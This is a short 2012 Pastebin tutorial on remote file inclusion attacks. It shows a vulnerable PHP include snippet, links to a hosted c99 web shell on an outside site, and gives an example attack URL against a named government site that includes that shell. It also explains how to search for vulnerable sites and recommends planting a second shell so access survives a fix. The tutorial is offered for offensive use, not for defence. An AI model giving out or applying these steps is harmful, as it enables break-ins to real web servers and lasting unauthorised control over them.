Advertisement
HackerRIZLA

RFI Tutorial.

Sep 15th, 2012
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. ok so remote file inclusion is including a file from your site on another site/server
  2. normally people will include a c99 shell and there is 1 here http://www.evilc0der.com/c99.txt
  3. so then all you have to do is find a site
  4. so lets say we have a site
  5. http://www.fbi.gov/index.php?page=blog.php
  6. ok so to find if it's vulnerable goto index.php and view the source
  7. newbies "right click-->view page source"
  8. if the inclusion code is something like :
  9. Code:
  10. <?php
  11. $page = $_GET['page'];
  12. include($page);
  13. ?>
  14. then it's possible to include our file on there site
  15. finding vuln sites is easier than ever now that google code search is out
  16. http://www.google.com/codesearch
  17. so lets say the http://www.fbi.gov/index.php has that code in it
  18. now we try this
  19. http://www.fbi.gov/index.php?page=http:/...om/c99.txt
  20. you see this will show your c99 shell on there site
  21. so when it had the include function for blog.php it was including that page in that site.
  22. a common flaw seeming that people use it so much bcoz of it's simplicity
  23. now this should work
  24. but if it shows shell in it's origional text form
  25. then
  26. but dont try a .php shell on there
  27. coz you see
  28. if you upload the shell to your account on lets say spam.com
  29. and save it as .php
  30. whn you include the shell it will show the shell on your site
  31. so you will just be defacing your t35 account from a different site
  32. so it has to be in .txt form
  33. if it shows the shell i reccomend uploading a shell from the included shell
  34. bcoz it makes it much easier to manage
  35. also you can go back to the shell if they fix the bugs
  36. happy hacking
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement